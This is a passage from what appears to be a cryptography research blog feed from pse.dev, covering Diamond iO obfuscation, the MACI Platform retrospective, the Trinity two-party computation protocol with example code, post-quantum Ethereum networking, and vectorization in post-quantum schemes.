[[GGH+13](https://eprint.iacr.org/2013/451.pdf)] and [[BIS+17]](https://eprint.iacr.org/2017/240.pdf), we don't need to support obfuscation for any complex circuits. Instead, the supported circuit _only_ needs to contain the logic to verify the correct execution of FHE evaluation, via ZKP, and conditionally decrypt the given ciphertext with the embedded secret key. This would allow us to outsource the application logic to an FHE program and focus on efficiently obfuscating a circuit with constant multiplicative depth and input size. ## Future research Our next step is to tackle the following security and efficiency challenges. **Recent attacks on the evasive LWE assumption.** The four papers listed below—all published after the Diamond iO paper—introduce new attacks on the evasive LWE assumption. Although the security proof of Diamond iO relies heavily on this assumption, these attacks, as far as we know, succeed only for certain parameters and sampler sets that are not necessarily used in actual cryptographic schemes relying on the same assumption. We are now investigating whether any of them can be adapted to the concrete parameters and sampler employed in our construction. - [Simple and General Counterexamples for Private-Coin Evasive LWE](https://eprint.iacr.org/2025/374.pdf) - [Evasive LWE: Attacks, Variants & Obfustopia](https://eprint.iacr.org/2025/375.pdf) - [Lattice-Based Post-Quantum iO from Circular Security with Random Opening Assumption](https://eprint.iacr.org/2025/390.pdf) - [A Note on Obfuscation-based Attacks on Private-coin Evasive LWE](https://eprint.iacr.org/2025/421.pdf) **Noise refreshing during evaluation.** As described above, we only need to support the obfuscation of a circuit that verifies a ZK proof and then decrypts the given FHE ciphertext. Nonetheless, the current implementation cannot support the obfuscation of such a circuit due to its limited input size. Specifically, since the modulus bits scale linearly due to the exponential growth of the accumulated error with respect to the input size, we are researching techniques to reduce the error during evaluation, such as one for BGG+ encodings introduced in [[HLL23]](https://eprint.iacr.org/2023/1716.pdf). **Distributed obfuscation.** Careful reader might notice that iO is virtually worthless if the obfuscator still knows the secret inside the obfuscated program. A naive way to solve this issue is to perform the obfuscation process within an MPC but this is extremely impractical. We are excited to research more practical ways to run distributed trusted setups for obfuscation as this topic has been largely overlooked in existing literature. ## What's next? Machina ("mah-kin-ah") iO, a project within [Privacy Stewards of Ethereums (PSE)](https://pse.dev), aims to move iO from theory to practice. Alongside our research and engineering efforts, we’ll be publishing a series of posts explaining the core ideas, the vision behind the technology, and the lessons we’ve learned through implementation. If you’re interested in following our journey, we invite you to [subscribe](https://machina-io.com/subscribe.html). ## Acknowledgments _We would like to sincerely thank the developers of [OpenFHE](https://github.com/openfheorg/openfhe-development) and [openfhe-rs](https://github.com/fairmath/openfhe-rs), open-source lattice and FHE libraries, whose optimized implementations of trapdoor sampling, RLWE primitives, and Rust bindings played a crucial role in helping us implement Diamond iO. We are also grateful to Prof. Yuriy Polyakov for his valuable advice on preimage sampling and his insightful feedback on optimizing our implementation. Any remaining errors are entirely our own responsibility._ ]]> indistinguishability obfuscation cryptography Diamond iO lattice <![CDATA[Reflecting on MACI Platform: What We Built, Learned, and What’s Next]]> https://pse.dev/blog/reflecting-on-maci-platform https://pse.dev/blog/reflecting-on-maci-platform Thu, 01 May 2025 00:00:00 GMT <![CDATA[After a year of development and experimentation, the MACI Platform project is being sunset. In this retrospective, we share what we built, what we learned, and how the work can continue.]]> <![CDATA[ Over the past year, we've been on a journey to explore how [MACI](https://github.com/privacy-scaling-explorations/maci) could power more democratic, privacy-preserving voting in real-world funding scenarios. The MACI Platform was our experiment in bringing those ideals into practice. Today, we're sharing [what we built](#what-we-built), [what we learned](#what-we-learned), and [why we've decided to sunset the project](#why-were-sunsetting)—along with some parting thoughts on where the opportunity still lies. --- ## From Demo to Deployment The MACI Platform began as a fork of [Easy Retro PGF](https://github.com/gitcoinco/easy-retro-pgf), with the initial goal of showcasing to the Optimism Foundation that MACI could be used to run onchain, private RPGF (Retroactive Public Goods Funding) rounds. As the project evolved, so did our ambitions. We moved beyond a demo mindset and set out to build a robust, production-ready platform for running secure, privacy-preserving voting rounds—whether for RPGF, Quadratic Funding (QF), or simpler vote-based allocations. Our approach was simple: **build → run rounds → gather feedback → iterate**. This is in line to the [multi-mechanism future that Gitcoin](https://x.com/gitcoin/status/1881739519101145294) and other industry leaders propose. --- ## What We Built After around 10 months of development, the MACI Platform reached [v2](https://github.com/privacy-scaling-explorations/maci-platform/releases/tag/v2), and included: - **Flexible gatekeeping** via:, [Zupass](https://zupass.org/), [EAS](https://eas.eth/), [Hats](https://hatsprotocol.xyz/), [Semaphore](https://semaphore.pse.dev/), ERC721 token ownership, etc. - **Quadratic and non-quadratic voting modes** - **Project submission workflows** for voters and round organizers - **Support for running multiple concurrent rounds** We collaborated with communities to deploy real RPGF and QV rounds at: - [EthMexico](https://pse-team.notion.site/case-study-eth-mexico-24?pvs=73) - [Cryptoversidad](https://pse-team.notion.site/case-study-cryptoversidad-24?pvs=74) - [Ethereum TGU](https://pse-team.notion.site/case-study-ethereum-tgu-24-trust-round?pvs=74) - [Devcon SEA](https://pse-team.notion.site/case-study-devcon-sea-24?pvs=74) - [Hacking PSE](https://pse-team.notion.site/case-study-hacking-pse-24?pvs=74) The **Devcon round** was our most ambitious deployment, with a $250K funding pool, thousands of possible voters, hundreds of participants voting directly from smart wallets on their phones and laptops—with gas fully abstracted. --- ## What We Learned ### 💡 Technical - Integrating MACI into a user-friendly frontend remains non-trivial. - The protocol and tooling still lacked maturity for frictionless integration. - Running real rounds offered invaluable feedback loops that shaped both the platform and MACI itself. ### 🧭 Organizational Because the platform and protocol were built by the same team, feedback loops lacked external pressure. Engineers often “fixed” protocol-side issues themselves, which meant we didn’t experience MACI the way an independent integrator might. A separate protocol/app team split might have surfaced deeper usability pain points earlier. ### 📉 Adoption Aside from Devcon and our internal hackathon, most rounds only happened when we provided grant support. While the platform showed promise, spontaneous adoption didn’t materialize. We believe time and visibility may have changed this, but we had to weigh tradeoffs. --- ## Why We’re Sunsetting We’re officially sunsetting the MACI Platform for a few core reasons: - **Lack of organic demand**: Gitcoin already serves much of the QF/RPGF space. Demand for privacy in these flows appears low at this stage. - **Better MACI integrations elsewhere**: For example, [Gitcoin’s own MACI integration](https://github.com/gitcoinco/MACI_QF) is more likely to evolve with user needs. - **Alternative options emerging**: - [MACI Wrapper](https://github.com/yashgo0018/maci-wrapper) - [PriVote](https://github.com/PriVote-Project) - and others... --- ## What We’re Leaving Behind Although we’re moving on, we’re leaving behind tools and code we hope others can build on: - [MACI Platform Codebase](https://github.com/privacy-scaling-explorations/maci-platform): - Extended smart contracts - Subgraph for frontend integration - Complete frontend stack We **won’t be maintaining this codebase** going forward. However, it is fully functional and can be used as-is with MACI v2—or forked to integrate with future versions like MACI v3. The [MACI protocol](https://github.com/privacy-scaling-explorations/maci) itself is very much alive and improving. If you're looking to build a secure, private voting experience into your app or DAO, we’d love to support you. --- ## Gratitude This project wouldn’t have existed without the care, sweat, and imagination of: **Sam, Ctrlc03, Doris, Cris, Anton, Nico, Hodlon, Andy, Mari, Kali, and John** And our partners in the Ethereum and PGF ecosystem who took a bet on using something still experimental. Your support made this a truly generative learning experience. --- ## Looking Ahead The platform development may pause, but the need for privacy-preserving voting remains. We believe that one day, MACI—or protocols like it—will be foundational infrastructure for democratic coordination onchain and offchain. Until then, we’ll keep building, listening, and sharing what we learn. _– The MACI Platform Team_ ]]> MACI Privacy Public Goods RetroPGF Zero Knowledge Governance <![CDATA[Introducing Trinity]]> https://pse.dev/blog/introducing-trinity https://pse.dev/blog/introducing-trinity Mon, 28 Apr 2025 00:00:00 GMT <![CDATA[Two-Party Computation for the ZK Era]]> <![CDATA[ ### Introducing Trinity: Two-Party Computation for the ZK Era Trinity is a two-party computation (2PC) protocol designed to minimize interaction rounds, enable input verifiability, and facilitate reusability. It combines three key cryptographic concepts: Extractable Witness Encryption for Laconic Oblivious Transfer (LOT), Garbled Circuits, and PLONK. This project is a collaboration with the [Cursive team](https://www.cursive.team/). They researched the topic and designed the scheme, while we helped on its development. The core mechanism unifying these concepts is the KZG polynomial commitment scheme. Trinity offers a novel approach to handling user data by placing data objects at the center of computation. Users can commit to structured data (e.g., dictionaries), generate verifiable proofs about their contents, and privately interact with other parties. Trinity redefines the role of ZK credentials, extending their use beyond traditional settings (e.g., authentication) to serve as verified private inputs within secure two-party computations (2PC). We've just added it as a new template in [mpc-hello](https://github.com/privacy-scaling-explorations/mpc-hello), and it's time to show what it brings to the table. To understand Trinity's novelty, let's first revisit how traditional secure two-party computation (2PC) works. ### 🧠 A Classic 2PC Flow Let's start with a traditional secure two-party computation (2PC). Say Alice and Bob want to compute `a + b`, without revealing their private inputs `a` and `b` to each other. This is typically done using: - **Boolean circuits**: The computation is expressed as a sequence of logic gates (AND, OR, XOR, etc.). For example, adding two 8-bit numbers becomes a gate-level network, where each input bit is a wire. You can check out [Summon](https://github.com/voltrevo/summon/) for great examples. - **Garbled Circuits (GC)**: One party (the _garbler_) encrypts the entire circuit. Each wire in the circuit gets two cryptographic labels (representing 0 or 1), and the circuit gates are encrypted so that only the correct output label can be unlocked, step by step. The other party (the _evaluator_) evaluates this encrypted circuit without ever seeing the real bits. - **Oblivious Transfer (OT)**: The evaluator (Alice) needs to receive _just_ the labels corresponding to her input bits — but without revealing those bits to the garbler. #### Classical OT Construction In most traditional protocols, OT is built using **public key cryptography**. Let's say Alice has an input bit `a ∈ {0,1}`: - Bob (the garbler) prepares two labels for Alice's input wire: one for 0 and one for 1. - Alice runs an OT protocol to retrieve only the label that corresponds to her bit, without revealing it. - This typically involves public key operations where Bob encrypts both labels, and Alice can only decrypt one. Together, these steps let two parties jointly compute a function without revealing their inputs. ### ✨ Enter Trinity Trinity follows the same broad structure — but introduces key innovations to make the flow more modular, more verifiable, and better aligned with ZK tooling. Specifically, Trinity leverages: - 🔑 **Laconic OT**: Based on the [Witness Encryption for KZG](https://eprint.iacr.org/2024/264) paper, Trinity replaces traditional OT with a KZG-based commitment scheme. - 🧩 **Garbled Circuits**: Powered by the [mpz](https://github.com/privacy-scaling-explorations/mpz) library. - 📦 **KZG Commitments**: - Alice commits to her input using a polynomial commitment (KZG), without targeting Bob specifically. These commitments are reusable across sessions or peers. - Since some ZK provers (like [Halo2](https://github.com/privacy-scaling-explorations/halo2)) use KZG already, this means Alice can also **prove** her committed input in zero-knowledge — if she wants. In short, Trinity lets you garble circuits in the usual way, but with reusable, verifiable inputs — perfect for privacy-preserving apps, on-chain protocols, or even MPC-enabled credentials. Now let's see how to build with it. ### Setup We need to write our 2PC circuit first, thanks to [Summon](https://github.com/voltrevo/summon) is going to be super easy. Here we are going with a very simple add circuit, adding Alice and Bob numbers. ```ts export default function main(a: number, b: number) { return a + b } ``` In the next snippet, we're going to initialise the trinity library and parse our circuit, so it can be consumed by both the garbler and the evaluator. ```ts import getCircuitFiles from "./getCircuitFiles" import { initTrinity, parseCircuit } from "@trinity-2pc/core" import * as summon from "summon-ts" export default async function generateProtocol() { await summon.init() const trinityModule = await initTrinity() const circuit = summon.compileBoolean( "circuit/main.ts", 16, await getCircuitFiles() ) const circuit_parsed = parseCircuit(circuit.circuit.bristol, 16, 16, 16) return { trinityModule, circuit_parsed } } ``` ### 🧬 Trinity in Action: Evaluator → Garbler → Evaluation ### Evaluator Commitment Phase The first phase of the protocol requires the evaluator, here Alice, to commit to its input. For the sake of the example we're going to use the `Plain` setup (vs. Halo2, who's using full purpose ZK), performing a plain KZG commit. ```ts // Call to the protocol generator we described above const protocol = await generateProtocol() // Create a Setup for our KZG protocol. // Note: For a production setting, these keys should be generated and published. // It should not be generated on the fly like in this example. const trinitySetup = protocol.trinityModule.TrinityWasmSetup("Plain") // Create an instance of a Trinity Evaluator // and will generate the commitment to Alice's input. // number: Alice's number a const evaluator = protocol.trinityModule.TrinityEvaluator( trinitySetup, intToUint8Array2(number) ) ``` Now Alice can send both the parameters for the KZG setup and the commitment to her input. ```ts const newSocket = await connect(code, "alice") newSocket?.send( JSON.stringify({ type: "setup", setupObj: Array.from(trinitySetup.to_sender_setup() || new Uint8Array()), }) ) newSocket?.send( JSON.stringify({ type: "commitment", commitment: evaluator.commitment_serialized, }) ) ``` ### Garbler Phase Bob has now received both the setup parameters and the commitment. He can now garble the circuit to encrypt his own input. ```ts // Instantiate the Trinity wasm library const protocol = await generateProtocol() // Connect sockets await connect(joiningCode, "bob") // Get the messages from Alice const setupMessage = (await msgQueue.shift()) as SetupMessage const setupObj = new Uint8Array(setupMessage.setupObj) const commitmentMessage = (await msgQueue.shift()) as CommitmentMessage const commitment = commitmentMessage.commitment ``` ```ts // Instantiate KZG setup from evaluator's setup const garblerSetup = TrinityWasmSetup.from_sender_setup(setupObjValue) // Instantiate a Trinity Garbler from the commitment and Bob's input const garblerBundle = protocol?.trinityModule.TrinityGarbler( commitmentValue, garblerSetup, intToUint8Array2(number), protocol.circuit_parsed ) const serializedBundle = Array.from(new Uint8Array(garblerBundle?.bundle || [])) // Send back the garbled data socket?.send( JSON.stringify({ type: "garblerBundle", garblerBundle: serializedBundle, }) ) ``` ### Evaluate the circuit Now Alice can receive the garbeld data from the Bob and evaluate the circuit. Note that the process is asymmetric, and only Alice evaluate the circuit on here side and can send back the result to Bob. ```ts // Receiving serialized Garbled data const bundleArray = new Uint8Array(parsedMsg.garblerBundle) // Reconstructing Garbled data const bundle = TrinityGarbler.from_bundle(bundleArray) // Evaluate our circuit const resultBytes = currentEvaluator.evaluate( bundle, currentProtocol?.circuit_parsed ) // Get the result const result = booleanArrayToInteger(resultBytes) ``` ### 🚀 What's Next? This is a minimal example — but Trinity supports: - Integration with ZK (via Halo2, Noir soon 👀) - More complex circuits (via Summon) Trinity represents a significant step forward in secure computation. It combines modularity, verifiability, and reusability, making it ideal for privacy-preserving applications. Check out [mpc-hello](https://github.com/voltrevo/mpc-hello/tree/main/trinity) and [trinity](https://github.com/privacy-scaling-explorations/Trinity) to dive deeper, or come chat with us in [PSE Discord](https://discord.com/channels/943612659163602974/1319092543513690203)! ]]> mpc zero-knowledge proofs privacy cryptography kzg halo2 garbled circuit zero knowledge 2pc plonk computational integrity private transactions security infrastructure/protocol <![CDATA[Towards a Quantum-Safe P2P for Ethereum]]> https://pse.dev/blog/towards_a_quantum-safe_p2p_for_ethereum https://pse.dev/blog/towards_a_quantum-safe_p2p_for_ethereum Tue, 22 Apr 2025 00:00:00 GMT <![CDATA[Integrating post‑quantum cryptography into Ethereum's P2P stack is currently impractical—PQ keys and signatures are too large for UDP‑based discovery and transport—though future research on QUIC migration, composite keys, and protocol redesign may offer viable paths forward.]]> <![CDATA[ ## Motivation As quantum computing continues to evolve, there is increasing interest in understanding how Ethereum's existing peer-to-peer (P2P) networking stack might adapt to emerging post-quantum (PQ) cryptographic standards. PSE members Adria and Guorong undertook a brief exploratory project to assess what adopting PQ algorithms in Ethereum's P2P layer would entail. This exploration aimed primarily at gaining clarity around potential challenges and identifying realistic directions for future PQ-focused efforts. Ultimately, the project highlighted significant practical limitations, providing valuable insights that we hope will help inform further PQ initiatives. ## The Current Stack P2P networking handles node discovery and data transport between nodes. Nodes are identified by an [Ethereum Node Record (ENR)](https://github.com/ethereum/devp2p/blob/master/enr.md), a self-signed dictionary containing the node ID, public key(s), and network location. Node discovery is achieved via [Discv5](https://github.com/ethereum/devp2p/blob/master/discv5/discv5.md), which uses UDP (with a maximum packet size of 1280 bytes). UDP avoids maintaining persistent connections, aids NAT traversal, and complicates packet linking in traffic analysis (packets are randomized and encrypted). After an initial handshake, nodes communicate using session keys—nodes send a `FINDNODE` request and receive ENRs in `NODES` responses. Following discovery, the execution layer uses the [RLPx](https://github.com/ethereum/devp2p/blob/master/rlpx.md) protocol, while the consensus layer uses libp2p. RLPx provides ciphered and authenticated transport with its own handshake and supports subprotocols—primarily [EthWire](https://github.com/ethereum/devp2p/blob/master/caps/eth.md) for transporting blocks, transactions, and receipts. The consensus layer communicates via libp2p over TCP or [QUIC](https://en.wikipedia.org/wiki/QUIC), using encrypted sessions established with the well-known [Noise Protocol handshake](https://github.com/libp2p/specs/tree/master/noise#xx). ## Post-Quantum State of the Art Currently, several widely used algorithms are not considered PQ safe: | Algorithm | Status | Most Common Constructions | | --------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | RSA | Broken | Encryption, Authentication, Key Exchange | | EC | Broken | ECIES encryption, ECDH authenticated key exchange, pairings, BLS signature aggregation, KZG, Groth16 (though Groth16's perfect zero-knowledge provides forward secrecy on private inputs) | | Hash | Diminished | Hash sizes must be doubled (per Grover's algorithm); however, Poseidon is PQ safe | New PQ primitives exist, but they are not "drop-in" replacements. Their differing properties require careful integration. For instance, FN-DSA includes an internal hasher, so signing the entire message is preferable over signing a digest. Most of these algorithms have undergone lengthy NIST reviews, with more expected in the future. Remember that we are already using non-standardized algorithms such as secp256k1, Keccak, Groth16, and STARKs. Sometimes "only using approved" is not a [good](https://harvardnsj.org/2022/06/07/dueling-over-dual_ec_drgb-the-consequences-of-corrupting-a-cryptographic-standardization-process/) [idea](https://crypto.stackexchange.com/questions/108017/who-originally-generated-the-elliptic-curve-now-known-as-p256-secp256r1). | Algorithm | Status | Type | | ------------------------------------------------------------------------ | -------- | ---------------------------------------------------------- | | [ML-KEM (CRYSTALS-Kyber)](https://csrc.nist.gov/pubs/fips/203/final) | Standard | Lattice KEM | | [ML-DSA (CRYSTALS-Dilithium)](https://csrc.nist.gov/pubs/fips/204/final) | Standard | Lattice Signatures | | [SLH-DSA (SPHINCS+)](https://csrc.nist.gov/pubs/fips/205/final) | Standard | Hash Signatures (alternative to Dilithium if compromised) | | [FN-DSA (Falcon)](https://falcon-sign.info/) | Pending | Lattice Signature | | [Falcon/Labrador](https://eprint.iacr.org/2024/311) | Research | Aggregated Falcon Signatures | | [CSIDH](https://csidh.isogeny.org/) | Research | Non-interactive key exchange (a good replacement for ECDH) | Note that PQ public keys and signatures are significantly larger than current ECDSA sizes (33 bytes for public keys, 65 bytes for signatures). For example, Falcon requires a padded signature size of 666 bytes and a public key of 897 bytes (which can be combined into 1328 bytes for transport). Check this nice [Cloudflare table](https://blog.cloudflare.com/fr-fr/another-look-at-pq-signatures/). ## A New PQ P2P Crypto Stack? The following table summarizes the cryptographic substitutions proposed for each transport layer: | Transport | Feature | Possible Substitution | Notes | | --------- | ---------------------------------------- | -------------------------------------------------------------- | ------------------------------------------------------------------------- | | ENR | secp256k1 pk+sig | Falcon pk+sig | ~1.4 KB; may exceed UDP frame limits | | Discv5 | ECDH handshake | FN-DSA + ML-KEM | 1.5 roundtrips (2.3 KB + 3.2 KB + 1.5 KB); may exceed UDP frame limits | | Discv5 | `NODES` response | – | Contains ENRs; could overflow UDP frames | | RLPx | ECDH/ECIES handshake | 2 × FN-DSA + ML-KEM + 2 × ML-KEM | ~20 KB additional overhead | | EthWire | Transaction signatures | Falcon | 1265 bytes per signature (applies to transaction signatures and calldata) | | Libp2p | Noise `XX`-type handshake with secp256k1 | [Post-Quantum Noise](https://eprint.iacr.org/2022/539.pdf) (?) | – | The replacement for ECDH is essentially as described in the [NIST Workshop on Guidance for KEMs](https://csrc.nist.gov/csrc/media/Events/2025/workshop-on-guidance-for-kems/documents/papers/pqc-based-bidirectional.pdf); a test implementation can be found at https://github.com/adria0/pq-aka. As you can see, this construction is not a NIKE, so it requires roundtrips. Let's do a quick check if we are targeting the PQ threats here: **Forward Secrecy:** Critical to prevent "harvest-then-decrypt" attacks. Although urgent in post-quantum scenarios, it does not seem to be a problem at the P2P layer. **Ownership:** Cryptographically secured assets (protected by EthWire transaction signatures) must remain secure. Account abstraction could improve protection by, for example, requiring an additional Falcon signature in the calldata. (Note: This is not strictly a P2P transport problem.) **Availability:** Systems must maintain performance despite increased data sizes. The expansion from 65 to 1328 bytes for signatures can stress the network. Techniques such as storing public keys in indexed registry smart contracts and transmitting only the signature may mitigate this. It is not clear how much this increase could congest the network, enlarge block sizes, or lengthen block times. To avoid moving from UDP to TCP, perhaps QUIC could help. **Security:** While we are now using safe algorithms, PQ algorithms are still under scrutiny and may be vulnerable. A recommended strategy is to use composite keys—combining traditional and post-quantum keys—to hedge against potential weaknesses, albeit with additional performance overhead. This is a strong recommendation from the [IETF pquip](https://github.com/ietf-wg-pquip/state-of-protocols-and-pqc) team. **Dependency:** Compromises in dependent systems (DNSSEC, TLS) could undermine network security, providing alternate attack vectors. Fortunately, P2P primarily uses IP/IPv6 addresses, so it seems unaffected. ## Note on libp2p Exploration [libp2p](https://libp2p.io/) is the P2P [networking](https://ethereum.org/en/developers/docs/networking-layer/#libp2p) stack, mainly used for the consensus layer in the Ethereum blockchain. One of our explorations includes migrating libp2p networking to a PQ-safe implementation. The current libp2p implementations depend on ECC (secp256k1, etc.) for communication (key exchange) and authentication (generation and validation of node IDs). Here, the specific target is QUIC—a transport protocol built on UDP. At the moment, the adoption of QUIC is quite [high](https://ethresear.ch/t/quic-support-among-ethereum-consensus-layer-clients/21102/1) among CL clients, and it is expected to grow in the future. We have explored migrating the key exchange part of [rust-libp2p](https://github.com/libp2p/rust-libp2p) to a PQ-safe implementation (e.g., using Kyber KEM) in [this fork](https://github.com/guorong009/rust-libp2p/tree/prefer-post-quantum). Additionally, there is an [example](https://github.com/guorong009/p2p-chat-clone). Our conclusions are as follows: - Using a KEM algorithm for key exchange does not significantly degrade communication, as the main process relies on symmetric cryptography which is less affected by quantum computing. - Other aspects (authentication, node ID generation, etc.) require further in-depth research but are not immediately urgent. Additionally, we have learned: - Major tech firms (Cloudflare, IBM, Google) are conducting experiments on PQ migration of networking protocols: - [Cloudflare's Post-Quantum for All](https://blog.cloudflare.com/post-quantum-for-all/) - [Microsoft's Post-Quantum TLS](https://www.microsoft.com/en-us/research/project/post-quantum-tls/) - These companies, especially Cloudflare, have detailed benchmarks on their experiments. - From their perspective, migrating communication cryptography is more urgent than authentication, as the communication component is vulnerable to [Harvest Now, Decrypt Later attacks](https://en.wikipedia.org/wiki/Harvest_now,_decrypt_later). - Their client-server experiments might be applicable to P2P networking with less effort, given that P2P combines client and server functionalities. ## A Call for Action While the proposed changes are not entirely appealing as drop-in replacements, they represent initial attempts to integrate PQ cryptographic methods within the existing framework. However, these efforts highlight significant limitations and underscore the need for innovation in this area. We must reconsider transport protocols: - **Discv5 over UDP** appears impractical due to oversized ENRs and fragmented handshakes. - A redesign of secure discovery protocols using current PQ algorithms is necessary, supported by robust network simulations and advanced P2P engineering. - Transitioning to QUIC combined with a PQ-Noise approach for P2P communication appears promising as a replacement for RLPx. Techniques such as [aggregated gossip signatures](https://ethresear.ch/t/signature-merging-for-large-scale-consensus/17386) could help mitigate increased network traffic. Research into [compressing signatures and transient information after finalization](https://ethresear.ch/t/post-quantum-txs-in-the-verge/21763) is also encouraged. Despite criticisms regarding its [internal complexity](https://x.com/Narodism/status/1882362499686645938) and [limited PQ adaptation](https://discuss.libp2p.io/t/any-information-about-post-quantum-cryptography-in-libp2p/2189), libp2p—especially its Kademlia DHT—remains a candidate for evolving to meet future PQ challenges. ]]> quantum computing p2p ethereum cryptography networking post-quantum security infrastructure/protocol <![CDATA[Code Optimizations in the Landscape of Post-Quantum Cryptography]]> https://pse.dev/blog/code-optimizations-in-the-landscape-of-post-quantum-cryptography https://pse.dev/blog/code-optimizations-in-the-landscape-of-post-quantum-cryptography Mon, 07 Apr 2025 00:00:00 GMT <![CDATA[This post was written by PSE researcher Miha Stopar.]]> <![CDATA[ There's no doubt that lattice-based cryptography is currently the most promising branch of post-quantum cryptography. Not only is it highly performant and versatile, it also provides the only known technique to achieve fully homomorphic encryption. One reason lattice-based cryptography is so fast is that it can be heavily vectorized. This contrasts noticeably with isogeny-based cryptography, which offers far fewer opportunities for parallelism. In this post, I will briefly compare the potential for vectorization in both cryptographic paradigms. Of course, these two branches represent only a subset of the broader landscape of post-quantum cryptography. Let's first take a look at what vectorization is. ## Vectorization Vectorization refers to the process of performing multiple operations simultaneously using Single Instruction, Multiple Data (SIMD) techniques. This is a powerful way to speed up computations by leveraging modern CPU instructions like SSE (Streaming SIMD Extensions), AVX (Advanced Vector Extensions), and their newer versions like AVX-512. But what does that mean, really? Let's say we would like to XOR 32 bytes as given below: ``` Input: 11001010 10101100 00011011 ... Key : 10110110 01100100 11100011 ... --------------------------------- Output: 01111100 11001000 11111000 ... ``` Instead of doing 32 operations one byte at a time, AVX can XOR 32 bytes at once: ``` __m256i data = _mm256_loadu_si256(input) __m256i key = _mm256_loadu_si256(key) __m256i hash = _mm256_xor_si256(data, key) ``` First, the AVX2 register uses `input` to load 32 bytes (256 bits) into one 256-bit register. Then, it loads 32 bytes of `key` into another register. Finally, it performs bitwise XOR between `data` and `key`, element by element. But here, 32 bytes are processed in one instruction! ## Lattice-based cryptography At the core of lattice-based cryptography lies matrix-vector multiplication. For example, let's consider a two-dimensional lattice $L$ with a basis $\{v_1, v_2\}$. Lattice elements are vectors of the form $a_1 v_1 + a_2 v_2$, where $a_1, a_2 \in \mathbb{Z}$. If we construct a matrix $M$ such that $v_1$ and $v_2$ are the two columns of this matrix, then multiplying $M$ by the vector $(a_1, a_2)^T$ gives a lattice element. ![Matrix multiplication illustration](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/BJaZLXWTkx.webp) Matrix multiplication illustration For performance reasons, lattice-based cryptography relies on polynomial rings rather than ordinary vectors. I won't go into the details, but let's consider the following example. ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/VEbeKabiB_GT6usoOzVSu.webp) The matrix-vector multiplication above is actually the multiplication of two polynomials ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/04feRSQLEKzZp4S45a-vT.webp) in the ring $\mathbb{Z}[x]/(x^3 + 1)$. Note that in this ring, it holds $x^3 = -1$. In practice, $n$ is typically a power of $2$, for example $n = 64$. So, multiplying $a(x)$ and $b(x)$ and considering $x^3 = -1$, we obtain the same result as with the matrix-vector multiplication above: ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/DXMz_0RyI6cH5a2VX2C6_.webp) Having matrices of this form is beneficial for two reasons: less space is required to store the matrix (only $3$ elements for a $3 \times 3$ matrix), and we can apply the [Number Theoretic Transform](https://en.wikipedia.org/wiki/Discrete_Fourier_transform_over_a_ring) (NTT) algorithm for polynomial multiplication instead of performing matrix-vector multiplication. When using the NTT, we multiply polynomial evaluations rather than working with polynomial coefficients, which reduces the complexity from $O(n^2)$ to $O(n \log n)$ operations. That means that instead of directly multiplying the polynomials ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/bHB9O47Jm4bWx2J9Gwrls.webp) as ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/sj7A0ssWmg4zd9F2SO95u.webp) we apply the NTT to compute the evaluations $a(\omega_1), …, a(\omega_n)$ and $b(\omega_1), …, b(\omega_n)$. This allows us to perform only $n$ pointwise multiplications, significantly improving efficiency: ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/YFMEBTacQ1tH0vv-wGO8W.webp) This way we obtain the evaluations of $a(x)b(x)$ at $\omega_1, ..., \omega_n$. To recover the coefficients of $a(x)b(x)$, we apply the inverse NTT. In the next section, we will see how vectorization can further accelerate such pointwise operations. ### Lattices and vectorization So, why is lattice-based cryptography particularly well-suited for vectorization? Remember, typically lattice-based cryptography deals with polynomials in $\mathbb{Z}[x]/(x^{64}+1)$ or $\mathbb{Z}[x]/(x^{128}+1)$. For $n = 64$, each polynomial has $64$ coefficients, for example: ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/Y8GLh5WhYPvdpwebdkoJM.webp) Now, if you want, for example, to compute $a(x) + b(x)$, you need to compute ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/faGgJfYnD-9CQYu5CRbnR.webp) This is simple to vectorize: we need to load $a_i$ and $b_i$ into an AVX register. Suppose the register has $32$ slots, each of length 16 bits. If the coefficients are smaller than 16 bits, we can use two registers for a single polynomial. With a single instruction, we compute the sum of the first $32$ coefficients: ``` a_1 | a_2 | ... | a_31 | b_1 | b_2 | ... | b_31 | -> a_1 + b_1 | a_2 + b_2 | ... | a_31 + b_31 | ``` In the second instruction, we compute the sum of the next $32$ coefficients: ``` a_32 | a_33 | ... | a_63 | b_32 | b_33 | ... | b_63 | -> a_32 + b_32 | a_33 + b_33 | ... | a_63 + b_63 | ``` Many lattice-based schemes heavily rely on matrix-vector multiplications, and similar to the approach above, these operations can be naturally expressed using vectorized instructions. Returning to the NTT, we see that these two polynomials can be multiplied efficiently using vectorization in just two instructions (performing 32 pointwise multiplications in a single instruction), along with the NTT and its inverse. ## Isogenies and vectorization On the contrary, vectorizing isogeny-based schemes appears to be challenging. An isogeny is a homomorphism between two elliptic curves, and isogeny-based cryptography relies on the assumption that finding an isogeny between two given curves is difficult. ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/ryxy7YGpkl.webp) In isogeny-based cryptography, there are no structures with $64$ or $128$ elements that would allow straightforward vectorization. The optimizations used in isogeny-based cryptography are similar to those in traditional elliptic curve cryptography. Note, however, that traditional elliptic curve cryptography based on the discrete logarithm problem is not quantum-safe, while isogeny-based cryptography is believed to be quantum-safe: there is no known quantum algorithm that can efficiently find an isogeny between two elliptic curves. Let's have a look at some optimizations used in elliptic curve cryptography: - Choosing the prime $p$ such that the arithmetic in $\mathbb{F}_p$ is efficient, - Montgomery Reduction: efficiently computes modular reductions without expensive division operations, - Montgomery Inversion: avoids divisions entirely when used with Montgomery multiplication, - Using Montgomery or Edwards curves: enables efficient arithmetic, - Shamir's Trick: computes $kP+mQ$ simultaneously, reducing the number of operations. It is worth noting that some of these optimizations—such as Montgomery reduction and Montgomery multiplication—also apply to lattice-based cryptography. Let's observe a simple example that illustrates the importance of choosing a suitable prime $p$ for efficient finite field arithmetic. If we choose $p \equiv 3\pmod{4}$ (that means $p+1$ is divisible by $4$), then computing square roots becomes straightforward: to find the square root of $x$, one simply computes: ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/k4D3_kXZNSP3vsL0HH9lj.webp) Note that by 